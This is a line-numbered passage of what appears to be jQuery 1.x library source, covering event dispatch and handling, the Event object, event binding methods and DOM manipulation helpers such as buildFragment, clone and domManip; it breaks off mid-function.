2978 i = 0;
2979 while ((matched = handlerQueue[i++]) && !event.isPropagationStopped()) {
2980 event.currentTarget = matched.elem;
2981 j = 0;
2982 while ((handleObj = matched.handlers[j++]) && !event.isImmediatePropagationStopped()) {
2983 if (!event.namespace_re || event.namespace_re.test(handleObj.namespace)) {
2984 event.handleObj = handleObj;
2985 event.data = handleObj.data;
2986 ret = ((jQuery.event.special[handleObj.origType] || {}).handle || handleObj.handler).apply(matched.elem, args);
2987 if (ret !== undefined) {
2988 if ((event.result = ret) === false) {
2989 event.preventDefault();
2990 event.stopPropagation()
2991 }
2992 }
2993 }
2994 }
2995 }
2996 if (special.postDispatch) {
2997 special.postDispatch.call(this, event)
2998 }
2999 return event.result
3000 },
3001 handlers: function(event, handlers) {
3002 var sel, handleObj, matches, i, handlerQueue = [],
3003 delegateCount = handlers.delegateCount,
3004 cur = event.target;
3005 if (delegateCount && cur.nodeType && (!event.button || event.type !== "click")) {
3006 for (; cur != this; cur = cur.parentNode || this) {
3007 if (cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click")) {
3008 matches = [];
3009 for (i = 0; i < delegateCount; i++) {
3010 handleObj = handlers[i];
3011 sel = handleObj.selector + " ";
3012 if (matches[sel] === undefined) {
3013 matches[sel] = handleObj.needsContext ? jQuery(sel, this).index(cur) >= 0 : jQuery.find(sel, this, null, [cur]).length
3014 }
3015 if (matches[sel]) {
3016 matches.push(handleObj)
3017 }
3018 }
3019 if (matches.length) {
3020 handlerQueue.push({
3021 elem: cur,
3022 handlers: matches
3023 })
3024 }
3025 }
3026 }
3027 }
3028 if (delegateCount < handlers.length) {
3029 handlerQueue.push({
3030 elem: this,
3031 handlers: handlers.slice(delegateCount)
3032 })
3033 }
3034 return handlerQueue
3035 },
3036 fix: function(event) {
3037 if (event[jQuery.expando]) {
3038 return event
3039 }
3040 var i, prop, copy, type = event.type,
3041 originalEvent = event,
3042 fixHook = this.fixHooks[type];
3043 if (!fixHook) {
3044 this.fixHooks[type] = fixHook = rmouseEvent.test(type) ? this.mouseHooks : rkeyEvent.test(type) ? this.keyHooks : {}
3045 }
3046 copy = fixHook.props ? this.props.concat(fixHook.props) : this.props;
3047 event = new jQuery.Event(originalEvent);
3048 i = copy.length;
3049 while (i--) {
3050 prop = copy[i];
3051 event[prop] = originalEvent[prop]
3052 }
3053 if (!event.target) {
3054 event.target = originalEvent.srcElement || document
3055 }
3056 if (event.target.nodeType === 3) {
3057 event.target = event.target.parentNode
3058 }
3059 event.metaKey = !!event.metaKey;
3060 return fixHook.filter ? fixHook.filter(event, originalEvent) : event
3061 },
3062 props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
3063 fixHooks: {},
3064 keyHooks: {
3065 props: "char charCode key keyCode".split(" "),
3066 filter: function(event, original) {
3067 if (event.which == null) {
3068 event.which = original.charCode != null ? original.charCode : original.keyCode
3069 }
3070 return event
3071 }
3072 },
3073 mouseHooks: {
3074 props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
3075 filter: function(event, original) {
3076 var body, eventDoc, doc, button = original.button,
3077 fromElement = original.fromElement;
3078 if (event.pageX == null && original.clientX != null) {
3079 eventDoc = event.target.ownerDocument || document;
3080 doc = eventDoc.documentElement;
3081 body = eventDoc.body;
3082 event.pageX = original.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
3083 event.pageY = original.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0)
3084 }
3085 if (!event.relatedTarget && fromElement) {
3086 event.relatedTarget = fromElement === event.target ? original.toElement : fromElement
3087 }
3088 if (!event.which && button !== undefined) {
3089 event.which = (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)))
3090 }
3091 return event
3092 }
3093 },
3094 special: {
3095 load: {
3096 noBubble: true
3097 },
3098 focus: {
3099 trigger: function() {
3100 if (this !== safeActiveElement() && this.focus) {
3101 try {
3102 this.focus();
3103 return false
3104 } catch (e) {}
3105 }
3106 },
3107 delegateType: "focusin"
3108 },
3109 blur: {
3110 trigger: function() {
3111 if (this === safeActiveElement() && this.blur) {
3112 this.blur();
3113 return false
3114 }
3115 },
3116 delegateType: "focusout"
3117 },
3118 click: {
3119 trigger: function() {
3120 if (jQuery.nodeName(this, "input") && this.type === "checkbox" && this.click) {
3121 this.click();
3122 return false
3123 }
3124 },
3125 _default: function(event) {
3126 return jQuery.nodeName(event.target, "a")
3127 }
3128 },
3129 beforeunload: {
3130 postDispatch: function(event) {
3131 if (event.result !== undefined && event.originalEvent) {
3132 event.originalEvent.returnValue = event.result
3133 }
3134 }
3135 }
3136 },
3137 simulate: function(type, elem, event, bubble) {
3138 var e = jQuery.extend(new jQuery.Event(), event, {
3139 type: type,
3140 isSimulated: true,
3141 originalEvent: {}
3142 });
3143 if (bubble) {
3144 jQuery.event.trigger(e, null, elem)
3145 } else {
3146 jQuery.event.dispatch.call(elem, e)
3147 }
3148 if (e.isDefaultPrevented()) {
3149 event.preventDefault()
3150 }
3151 }
3152 };
3153 jQuery.removeEvent = document.removeEventListener ? function(elem, type, handle) {
3154 if (elem.removeEventListener) {
3155 elem.removeEventListener(type, handle, false)
3156 }
3157 } : function(elem, type, handle) {
3158 var name = "on" + type;
3159 if (elem.detachEvent) {
3160 if (typeof elem[name] === strundefined) {
3161 elem[name] = null
3162 }
3163 elem.detachEvent(name, handle)
3164 }
3165 };
3166 jQuery.Event = function(src, props) {
3167 if (!(this instanceof jQuery.Event)) {
3168 return new jQuery.Event(src, props)
3169 }
3170 if (src && src.type) {
3171 this.originalEvent = src;
3172 this.type = src.type;
3173 this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && src.returnValue === false ? returnTrue : returnFalse
3174 } else {
3175 this.type = src
3176 }
3177 if (props) {
3178 jQuery.extend(this, props)
3179 }
3180 this.timeStamp = src && src.timeStamp || jQuery.now();
3181 this[jQuery.expando] = true
3182 };
3183 jQuery.Event.prototype = {
3184 isDefaultPrevented: returnFalse,
3185 isPropagationStopped: returnFalse,
3186 isImmediatePropagationStopped: returnFalse,
3187 preventDefault: function() {
3188 var e = this.originalEvent;
3189 this.isDefaultPrevented = returnTrue;
3190 if (!e) {
3191 return
3192 }
3193 if (e.preventDefault) {
3194 e.preventDefault()
3195 } else {
3196 e.returnValue = false
3197 }
3198 },
3199 stopPropagation: function() {
3200 var e = this.originalEvent;
3201 this.isPropagationStopped = returnTrue;
3202 if (!e) {
3203 return
3204 }
3205 if (e.stopPropagation) {
3206 e.stopPropagation()
3207 }
3208 e.cancelBubble = true
3209 },
3210 stopImmediatePropagation: function() {
3211 var e = this.originalEvent;
3212 this.isImmediatePropagationStopped = returnTrue;
3213 if (e && e.stopImmediatePropagation) {
3214 e.stopImmediatePropagation()
3215 }
3216 this.stopPropagation()
3217 }
3218 };
3219 jQuery.each({
3220 mouseenter: "mouseover",
3221 mouseleave: "mouseout",
3222 pointerenter: "pointerover",
3223 pointerleave: "pointerout"
3224 }, function(orig, fix) {
3225 jQuery.event.special[orig] = {
3226 delegateType: fix,
3227 bindType: fix,
3228 handle: function(event) {
3229 var ret, target = this,
3230 related = event.relatedTarget,
3231 handleObj = event.handleObj;
3232 if (!related || (related !== target && !jQuery.contains(target, related))) {
3233 event.type = handleObj.origType;
3234 ret = handleObj.handler.apply(this, arguments);
3235 event.type = fix
3236 }
3237 return ret
3238 }
3239 }
3240 });
3241 if (!support.submitBubbles) {
3242 jQuery.event.special.submit = {
3243 setup: function() {
3244 if (jQuery.nodeName(this, "form")) {
3245 return false
3246 }
3247 jQuery.event.add(this, "click._submit keypress._submit", function(e) {
3248 var elem = e.target,
3249 form = jQuery.nodeName(elem, "input") || jQuery.nodeName(elem, "button") ? elem.form : undefined;
3250 if (form && !jQuery._data(form, "submitBubbles")) {
3251 jQuery.event.add(form, "submit._submit", function(event) {
3252 event._submit_bubble = true
3253 });
3254 jQuery._data(form, "submitBubbles", true)
3255 }
3256 })
3257 },
3258 postDispatch: function(event) {
3259 if (event._submit_bubble) {
3260 delete event._submit_bubble;
3261 if (this.parentNode && !event.isTrigger) {
3262 jQuery.event.simulate("submit", this.parentNode, event, true)
3263 }
3264 }
3265 },
3266 teardown: function() {
3267 if (jQuery.nodeName(this, "form")) {
3268 return false
3269 }
3270 jQuery.event.remove(this, "._submit")
3271 }
3272 }
3273 }
3274 if (!support.changeBubbles) {
3275 jQuery.event.special.change = {
3276 setup: function() {
3277 if (rformElems.test(this.nodeName)) {
3278 if (this.type === "checkbox" || this.type === "radio") {
3279 jQuery.event.add(this, "propertychange._change", function(event) {
3280 if (event.originalEvent.propertyName === "checked") {
3281 this._just_changed = true
3282 }
3283 });
3284 jQuery.event.add(this, "click._change", function(event) {
3285 if (this._just_changed && !event.isTrigger) {
3286 this._just_changed = false
3287 }
3288 jQuery.event.simulate("change", this, event, true)
3289 })
3290 }
3291 return false
3292 }
3293 jQuery.event.add(this, "beforeactivate._change", function(e) {
3294 var elem = e.target;
3295 if (rformElems.test(elem.nodeName) && !jQuery._data(elem, "changeBubbles")) {
3296 jQuery.event.add(elem, "change._change", function(event) {
3297 if (this.parentNode && !event.isSimulated && !event.isTrigger) {
3298 jQuery.event.simulate("change", this.parentNode, event, true)
3299 }
3300 });
3301 jQuery._data(elem, "changeBubbles", true)
3302 }
3303 })
3304 },
3305 handle: function(event) {
3306 var elem = event.target;
3307 if (this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox")) {
3308 return event.handleObj.handler.apply(this, arguments)
3309 }
3310 },
3311 teardown: function() {
3312 jQuery.event.remove(this, "._change");
3313 return !rformElems.test(this.nodeName)
3314 }
3315 }
3316 }
3317 if (!support.focusinBubbles) {
3318 jQuery.each({
3319 focus: "focusin",
3320 blur: "focusout"
3321 }, function(orig, fix) {
3322 var handler = function(event) {
3323 jQuery.event.simulate(fix, event.target, jQuery.event.fix(event), true)
3324 };
3325 jQuery.event.special[fix] = {
3326 setup: function() {
3327 var doc = this.ownerDocument || this,
3328 attaches = jQuery._data(doc, fix);
3329 if (!attaches) {
3330 doc.addEventListener(orig, handler, true)
3331 }
3332 jQuery._data(doc, fix, (attaches || 0) + 1)
3333 },
3334 teardown: function() {
3335 var doc = this.ownerDocument || this,
3336 attaches = jQuery._data(doc, fix) - 1;
3337 if (!attaches) {
3338 doc.removeEventListener(orig, handler, true);
3339 jQuery._removeData(doc, fix)
3340 } else {
3341 jQuery._data(doc, fix, attaches)
3342 }
3343 }
3344 }
3345 })
3346 }
3347 jQuery.fn.extend({
3348 on: function(types, selector, data, fn, one) {
3349 var type, origFn;
3350 if (typeof types === "object") {
3351 if (typeof selector !== "string") {
3352 data = data || selector;
3353 selector = undefined
3354 }
3355 for (type in types) {
3356 this.on(type, selector, data, types[type], one)
3357 }
3358 return this
3359 }
3360 if (data == null && fn == null) {
3361 fn = selector;
3362 data = selector = undefined
3363 } else if (fn == null) {
3364 if (typeof selector === "string") {
3365 fn = data;
3366 data = undefined
3367 } else {
3368 fn = data;
3369 data = selector;
3370 selector = undefined
3371 }
3372 }
3373 if (fn === false) {
3374 fn = returnFalse
3375 } else if (!fn) {
3376 return this
3377 }
3378 if (one === 1) {
3379 origFn = fn;
3380 fn = function(event) {
3381 jQuery().off(event);
3382 return origFn.apply(this, arguments)
3383 };
3384 fn.guid = origFn.guid || (origFn.guid = jQuery.guid++)
3385 }
3386 return this.each(function() {
3387 jQuery.event.add(this, types, fn, data, selector)
3388 })
3389 },
3390 one: function(types, selector, data, fn) {
3391 return this.on(types, selector, data, fn, 1)
3392 },
3393 off: function(types, selector, fn) {
3394 var handleObj, type;
3395 if (types && types.preventDefault && types.handleObj) {
3396 handleObj = types.handleObj;
3397 jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
3398 return this
3399 }
3400 if (typeof types === "object") {
3401 for (type in types) {
3402 this.off(type, selector, types[type])
3403 }
3404 return this
3405 }
3406 if (selector === false || typeof selector === "function") {
3407 fn = selector;
3408 selector = undefined
3409 }
3410 if (fn === false) {
3411 fn = returnFalse
3412 }
3413 return this.each(function() {
3414 jQuery.event.remove(this, types, fn, selector)
3415 })
3416 },
3417 trigger: function(type, data) {
3418 return this.each(function() {
3419 jQuery.event.trigger(type, data, this)
3420 })
3421 },
3422 triggerHandler: function(type, data) {
3423 var elem = this[0];
3424 if (elem) {
3425 return jQuery.event.trigger(type, data, elem, true)
3426 }
3427 }
3428 });
3429
3430 function createSafeFragment(document) {
3431 var list = nodeNames.split("|"),
3432 safeFrag = document.createDocumentFragment();
3433 if (safeFrag.createElement) {
3434 while (list.length) {
3435 safeFrag.createElement(list.pop())
3436 }
3437 }
3438 return safeFrag
3439 }
3440 var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
3441 rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
3442 rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
3443 rleadingWhitespace = /^\s+/,
3444 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
3445 rtagName = /<([\w:]+)/,
3446 rtbody = /<tbody/i,
3447 rhtml = /<|&#?\w+;/,
3448 rnoInnerhtml = /<(?:script|style|link)/i,
3449 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
3450 rscriptType = /^$|\/(?:java|ecma)script/i,
3451 rscriptTypeMasked = /^true\/(.*)/,
3452 rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
3453 wrapMap = {
3454 option: [1, "<select multiple='multiple'>", "</select>"],
3455 legend: [1, "<fieldset>", "</fieldset>"],
3456 area: [1, "<map>", "</map>"],
3457 param: [1, "<object>", "</object>"],
3458 thead: [1, "<table>", "</table>"],
3459 tr: [2, "<table><tbody>", "</tbody></table>"],
3460 col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
3461 td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
3462 _default: support.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
3463 },
3464 safeFragment = createSafeFragment(document),
3465 fragmentDiv = safeFragment.appendChild(document.createElement("div"));
3466 wrapMap.optgroup = wrapMap.option;
3467 wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
3468 wrapMap.th = wrapMap.td;
3469
3470 function getAll(context, tag) {
3471 var elems, elem, i = 0,
3472 found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName(tag || "*") : typeof context.querySelectorAll !== strundefined ? context.querySelectorAll(tag || "*") : undefined;
3473 if (!found) {
3474 for (found = [], elems = context.childNodes || context;
3475 (elem = elems[i]) != null; i++) {
3476 if (!tag || jQuery.nodeName(elem, tag)) {
3477 found.push(elem)
3478 } else {
3479 jQuery.merge(found, getAll(elem, tag))
3480 }
3481 }
3482 }
3483 return tag === undefined || tag && jQuery.nodeName(context, tag) ? jQuery.merge([context], found) : found
3484 }
3485
3486 function fixDefaultChecked(elem) {
3487 if (rcheckableType.test(elem.type)) {
3488 elem.defaultChecked = elem.checked
3489 }
3490 }
3491
3492 function manipulationTarget(elem, content) {
3493 return jQuery.nodeName(elem, "table") && jQuery.nodeName(content.nodeType !== 11 ? content : content.firstChild, "tr") ? elem.getElementsByTagName("tbody")[0] || elem.appendChild(elem.ownerDocument.createElement("tbody")) : elem
3494 }
3495
3496 function disableScript(elem) {
3497 elem.type = (jQuery.find.attr(elem, "type") !== null) + "/" + elem.type;
3498 return elem
3499 }
3500
3501 function restoreScript(elem) {
3502 var match = rscriptTypeMasked.exec(elem.type);
3503 if (match) {
3504 elem.type = match[1]
3505 } else {
3506 elem.removeAttribute("type")
3507 }
3508 return elem
3509 }
3510
3511 function setGlobalEval(elems, refElements) {
3512 var elem, i = 0;
3513 for (;
3514 (elem = elems[i]) != null; i++) {
3515 jQuery._data(elem, "globalEval", !refElements || jQuery._data(refElements[i], "globalEval"))
3516 }
3517 }
3518
3519 function cloneCopyEvent(src, dest) {
3520 if (dest.nodeType !== 1 || !jQuery.hasData(src)) {
3521 return
3522 }
3523 var type, i, l, oldData = jQuery._data(src),
3524 curData = jQuery._data(dest, oldData),
3525 events = oldData.events;
3526 if (events) {
3527 delete curData.handle;
3528 curData.events = {};
3529 for (type in events) {
3530 for (i = 0, l = events[type].length; i < l; i++) {
3531 jQuery.event.add(dest, type, events[type][i])
3532 }
3533 }
3534 }
3535 if (curData.data) {
3536 curData.data = jQuery.extend({}, curData.data)
3537 }
3538 }
3539
3540 function fixCloneNodeIssues(src, dest) {
3541 var nodeName, e, data;
3542 if (dest.nodeType !== 1) {
3543 return
3544 }
3545 nodeName = dest.nodeName.toLowerCase();
3546 if (!support.noCloneEvent && dest[jQuery.expando]) {
3547 data = jQuery._data(dest);
3548 for (e in data.events) {
3549 jQuery.removeEvent(dest, e, data.handle)
3550 }
3551 dest.removeAttribute(jQuery.expando)
3552 }
3553 if (nodeName === "script" && dest.text !== src.text) {
3554 disableScript(dest).text = src.text;
3555 restoreScript(dest)
3556 } else if (nodeName === "object") {
3557 if (dest.parentNode) {
3558 dest.outerHTML = src.outerHTML
3559 }
3560 if (support.html5Clone && (src.innerHTML && !jQuery.trim(dest.innerHTML))) {
3561 dest.innerHTML = src.innerHTML
3562 }
3563 } else if (nodeName === "input" && rcheckableType.test(src.type)) {
3564 dest.defaultChecked = dest.checked = src.checked;
3565 if (dest.value !== src.value) {
3566 dest.value = src.value
3567 }
3568 } else if (nodeName === "option") {
3569 dest.defaultSelected = dest.selected = src.defaultSelected
3570 } else if (nodeName === "input" || nodeName === "textarea") {
3571 dest.defaultValue = src.defaultValue
3572 }
3573 }
3574 jQuery.extend({
3575 clone: function(elem, dataAndEvents, deepDataAndEvents) {
3576 var destElements, node, clone, i, srcElements, inPage = jQuery.contains(elem.ownerDocument, elem);
3577 if (support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test("<" + elem.nodeName + ">")) {
3578 clone = elem.cloneNode(true)
3579 } else {
3580 fragmentDiv.innerHTML = elem.outerHTML;
3581 fragmentDiv.removeChild(clone = fragmentDiv.firstChild)
3582 }
3583 if ((!support.noCloneEvent || !support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem)) {
3584 destElements = getAll(clone);
3585 srcElements = getAll(elem);
3586 for (i = 0;
3587 (node = srcElements[i]) != null; ++i) {
3588 if (destElements[i]) {
3589 fixCloneNodeIssues(node, destElements[i])
3590 }
3591 }
3592 }
3593 if (dataAndEvents) {
3594 if (deepDataAndEvents) {
3595 srcElements = srcElements || getAll(elem);
3596 destElements = destElements || getAll(clone);
3597 for (i = 0;
3598 (node = srcElements[i]) != null; i++) {
3599 cloneCopyEvent(node, destElements[i])
3600 }
3601 } else {
3602 cloneCopyEvent(elem, clone)
3603 }
3604 }
3605 destElements = getAll(clone, "script");
3606 if (destElements.length > 0) {
3607 setGlobalEval(destElements, !inPage && getAll(elem, "script"))
3608 }
3609 destElements = srcElements = node = null;
3610 return clone
3611 },
3612 buildFragment: function(elems, context, scripts, selection) {
3613 var j, elem, contains, tmp, tag, tbody, wrap, l = elems.length,
3614 safe = createSafeFragment(context),
3615 nodes = [],
3616 i = 0;
3617 for (; i < l; i++) {
3618 elem = elems[i];
3619 if (elem || elem === 0) {
3620 if (jQuery.type(elem) === "object") {
3621 jQuery.merge(nodes, elem.nodeType ? [elem] : elem)
3622 } else if (!rhtml.test(elem)) {
3623 nodes.push(context.createTextNode(elem))
3624 } else {
3625 tmp = tmp || safe.appendChild(context.createElement("div"));
3626 tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase();
3627 wrap = wrapMap[tag] || wrapMap._default;
3628 tmp.innerHTML = wrap[1] + elem.replace(rxhtmlTag, "<$1></$2>") + wrap[2];
3629 j = wrap[0];
3630 while (j--) {
3631 tmp = tmp.lastChild
3632 }
3633 if (!support.leadingWhitespace && rleadingWhitespace.test(elem)) {
3634 nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))
3635 }
3636 if (!support.tbody) {
3637 elem = tag === "table" && !rtbody.test(elem) ? tmp.firstChild : wrap[1] === "<table>" && !rtbody.test(elem) ? tmp : 0;
3638 j = elem && elem.childNodes.length;
3639 while (j--) {
3640 if (jQuery.nodeName((tbody = elem.childNodes[j]), "tbody") && !tbody.childNodes.length) {
3641 elem.removeChild(tbody)
3642 }
3643 }
3644 }
3645 jQuery.merge(nodes, tmp.childNodes);
3646 tmp.textContent = "";
3647 while (tmp.firstChild) {
3648 tmp.removeChild(tmp.firstChild)
3649 }
3650 tmp = safe.lastChild
3651 }
3652 }
3653 }
3654 if (tmp) {
3655 safe.removeChild(tmp)
3656 }
3657 if (!support.appendChecked) {
3658 jQuery.grep(getAll(nodes, "input"), fixDefaultChecked)
3659 }
3660 i = 0;
3661 while ((elem = nodes[i++])) {
3662 if (selection && jQuery.inArray(elem, selection) !== -1) {
3663 continue
3664 }
3665 contains = jQuery.contains(elem.ownerDocument, elem);
3666 tmp = getAll(safe.appendChild(elem), "script");
3667 if (contains) {
3668 setGlobalEval(tmp)
3669 }
3670 if (scripts) {
3671 j = 0;
3672 while ((elem = tmp[j++])) {
3673 if (rscriptType.test(elem.type || "")) {
3674 scripts.push(elem)
3675 }
3676 }
3677 }
3678 }
3679 tmp = null;
3680 return safe
3681 },
3682 cleanData: function(elems, acceptData) {
3683 var elem, type, id, data, i = 0,
3684 internalKey = jQuery.expando,
3685 cache = jQuery.cache,
3686 deleteExpando = support.deleteExpando,
3687 special = jQuery.event.special;
3688 for (;
3689 (elem = elems[i]) != null; i++) {
3690 if (acceptData || jQuery.acceptData(elem)) {
3691 id = elem[internalKey];
3692 data = id && cache[id];
3693 if (data) {
3694 if (data.events) {
3695 for (type in data.events) {
3696 if (special[type]) {
3697 jQuery.event.remove(elem, type)
3698 } else {
3699 jQuery.removeEvent(elem, type, data.handle)
3700 }
3701 }
3702 }
3703 if (cache[id]) {
3704 delete cache[id];
3705 if (deleteExpando) {
3706 delete elem[internalKey]
3707 } else if (typeof elem.removeAttribute !== strundefined) {
3708 elem.removeAttribute(internalKey)
3709 } else {
3710 elem[internalKey] = null
3711 }
3712 deletedIds.push(id)
3713 }
3714 }
3715 }
3716 }
3717 }
3718 });
3719 jQuery.fn.extend({
3720 text: function(value) {
3721 return access(this, function(value) {
3722 return value === undefined ? jQuery.text(this) : this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(value))
3723 }, null, value, arguments.length)
3724 },
3725 append: function() {
3726 return this.domManip(arguments, function(elem) {
3727 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3728 var target = manipulationTarget(this, elem);
3729 target.appendChild(elem)
3730 }
3731 })
3732 },
3733 prepend: function() {
3734 return this.domManip(arguments, function(elem) {
3735 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3736 var target = manipulationTarget(this, elem);
3737 target.insertBefore(elem, target.firstChild)
3738 }
3739 })
3740 },
3741 before: function() {
3742 return this.domManip(arguments, function(elem) {
3743 if (this.parentNode) {
3744 this.parentNode.insertBefore(elem, this)
3745 }
3746 })
3747 },
3748 after: function() {
3749 return this.domManip(arguments, function(elem) {
3750 if (this.parentNode) {
3751 this.parentNode.insertBefore(elem, this.nextSibling)
3752 }
3753 })
3754 },
3755 remove: function(selector, keepData) {
3756 var elem, elems = selector ? jQuery.filter(selector, this) : this,
3757 i = 0;
3758 for (;
3759 (elem = elems[i]) != null; i++) {
3760 if (!keepData && elem.nodeType === 1) {
3761 jQuery.cleanData(getAll(elem))
3762 }
3763 if (elem.parentNode) {
3764 if (keepData && jQuery.contains(elem.ownerDocument, elem)) {
3765 setGlobalEval(getAll(elem, "script"))
3766 }
3767 elem.parentNode.removeChild(elem)
3768 }
3769 }
3770 return this
3771 },
3772 empty: function() {
3773 var elem, i = 0;
3774 for (;
3775 (elem = this[i]) != null; i++) {
3776 if (elem.nodeType === 1) {
3777 jQuery.cleanData(getAll(elem, false))
3778 }
3779 while (elem.firstChild) {
3780 elem.removeChild(elem.firstChild)
3781 }
3782 if (elem.options && jQuery.nodeName(elem, "select")) {
3783 elem.options.length = 0
3784 }
3785 }
3786 return this
3787 },
3788 clone: function(dataAndEvents, deepDataAndEvents) {
3789 dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
3790 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
3791 return this.map(function() {
3792 return jQuery.clone(this, dataAndEvents, deepDataAndEvents)
3793 })
3794 },
3795 html: function(value) {
3796 return access(this, function(value) {
3797 var elem = this[0] || {},
3798 i = 0,
3799 l = this.length;
3800 if (value === undefined) {
3801 return elem.nodeType === 1 ? elem.innerHTML.replace(rinlinejQuery, "") : undefined
3802 }
3803 if (typeof value === "string" && !rnoInnerhtml.test(value) && (support.htmlSerialize || !rnoshimcache.test(value)) && (support.leadingWhitespace || !rleadingWhitespace.test(value)) && !wrapMap[(rtagName.exec(value) || ["", ""])[1].toLowerCase()]) {
3804 value = value.replace(rxhtmlTag, "<$1></$2>");
3805 try {
3806 for (; i < l; i++) {
3807 elem = this[i] || {};
3808 if (elem.nodeType === 1) {
3809 jQuery.cleanData(getAll(elem, false));
3810 elem.innerHTML = value
3811 }
3812 }
3813 elem = 0
3814 } catch (e) {}
3815 }
3816 if (elem) {
3817 this.empty().append(value)
3818 }
3819 }, null, value, arguments.length)
3820 },
3821 replaceWith: function() {
3822 var arg = arguments[0];
3823 this.domManip(arguments, function(elem) {
3824 arg = this.parentNode;
3825 jQuery.cleanData(getAll(this));
3826 if (arg) {
3827 arg.replaceChild(elem, this)
3828 }
3829 });
3830 return arg && (arg.length || arg.nodeType) ? this : this.remove()
3831 },
3832 detach: function(selector) {
3833 return this.remove(selector, true)
3834 },
3835 domManip: function(args, callback) {
3836 args = concat.apply([], args);
3837 var first, node, hasScripts, scripts, doc, fragment, i = 0,
3838 l = this.length,
3839 set = this,
3840 iNoClone = l - 1,
3841 value = args[0],
3842 isFunction = jQuery.isFunction(value);
3843 if (isFunction || (l > 1 && typeof value === "string" && !support.checkClone && rchecked.test(value))) {
3844 return this.each(function(index) {
3845 var self = set.eq(index);
3846 if (isFunction) {
3847 args[0] = value.call(this, index, self.html())
3848 }
3849 self.domManip(args, callback)
3850 })
3851 }
3852 if (l) {
3853 fragment = jQuery.buildFragment(args, this[0].ownerDocument, false, this);
3854 first = fragment.firstChild;
3855 if (fragment.childNodes.length === 1) {
3856 fragment = first
3857 }
3858 if (first) {
3859 scripts = jQuery.map(getAll(fragment, "script"), disableScript);
3860 hasScripts = scripts.length;
3861 for (; i < l; i++) {
3862 node = fragment;
3863 if (i !== iNoClone) {
3864 node = jQuery.clone(node, true, true);
3865 if (hasScripts) {
3866 jQuery.merge(scripts, getAll(node, "script"))
3867 }
3868 }
3869 callback.call(this[i], node, i)
3870 }
3871 if (hasScripts) {
3872 doc = scripts[scripts.length - 1].ownerDocument;
3873 jQuery.map(scripts, restoreScript);
3874 for (i = 0; i < hasScripts; i++) {
3875 node = scripts[i];
3876 if (rscriptType.test(node.type || "") && !jQuery._data(node, "globalEval") && jQuery.contains(doc, node)) {
3877 if (node.src) {
3878 if (jQuery._evalUrl) {
3879 jQuery._evalUrl(node.src)
3880 }
3881 } else {
3882 jQuery.globalEval((node.text || node.textContent || node.innerHTML || "").replace(rcleanScript, ""))
3883 }
3884 }
3885 }
3886 }
3887 fragment = first = null
3888 }
3889 }
3890 return this
3891 }
3892 });
3893 jQuery.each({
3894 appendTo: "append",
3895 prependTo: "prepend",
3896 insertBefore: "before",
3897 insertAfter: "after",
3898 replaceAll: "replaceWith"
3899 }, function(name, original) {
3900 jQuery.fn[name] = function(selector) {
3901 var elems, i = 0,
3902 ret = [],
3903 insert = jQuery(selector),
3904 last = insert.length - 1;
3905 for (; i <= last; i++) {
3906 elems = i === last ? this : this.clone(true);
3907 jQuery(insert[i])[original](elems);
3908 push.apply(ret, elems.get())
3909 }
3910 return this.pushStack(ret)
3911 }
3912 });
3913 var iframe, elemdisplay = {};
3914
3915 function actualDisplay(name, doc) {
3916 var style, elem = jQuery(doc.createElement(name)).appendTo(doc.body),
3917 display = window.getDefaultComputedStyle && (style = window.getDefaultComputedStyle(elem[0])) ? style.display : jQuery.css(elem[0], "display");
3918 elem.detach();
3919 return display
3920 }
3921
3922 function defaultDisplay(nodeName) {
3923 var doc = document,
3924 display = elemdisplay[nodeName];
3925 if (!display) {
3926 display = actualDisplay(nodeName, doc);
3927 if (display === "none" || !display) {
3928 iframe = (iframe || jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);
3929 doc = (iframe[0].contentWindow || iframe[0].contentDocument).document;
3930 doc.write();
3931 doc.close();
3932 display = actualDisplay(nodeName, doc);
3933 iframe.detach()
3934 }
3935 elemdisplay[nodeName] = display
3936 }
3937 return display
3938 }(function() {
3939 var shrinkWrapBlocksVal;
3940 support.shrinkWrapBlocks = function() {
3941 if (shrinkWrapBlocksVal != null) {
3942 return shrinkWrapBlocksVal
3943 }
3944 shrinkWrapBlocksVal = false;
3945 var div, body, container;
3946 body = document.getElementsByTagName("body")[0];
3947 if (!body || !body.style) {
3948 return
3949 }
3950 div = document.createElement("div");
3951 container = document.createElement("div");
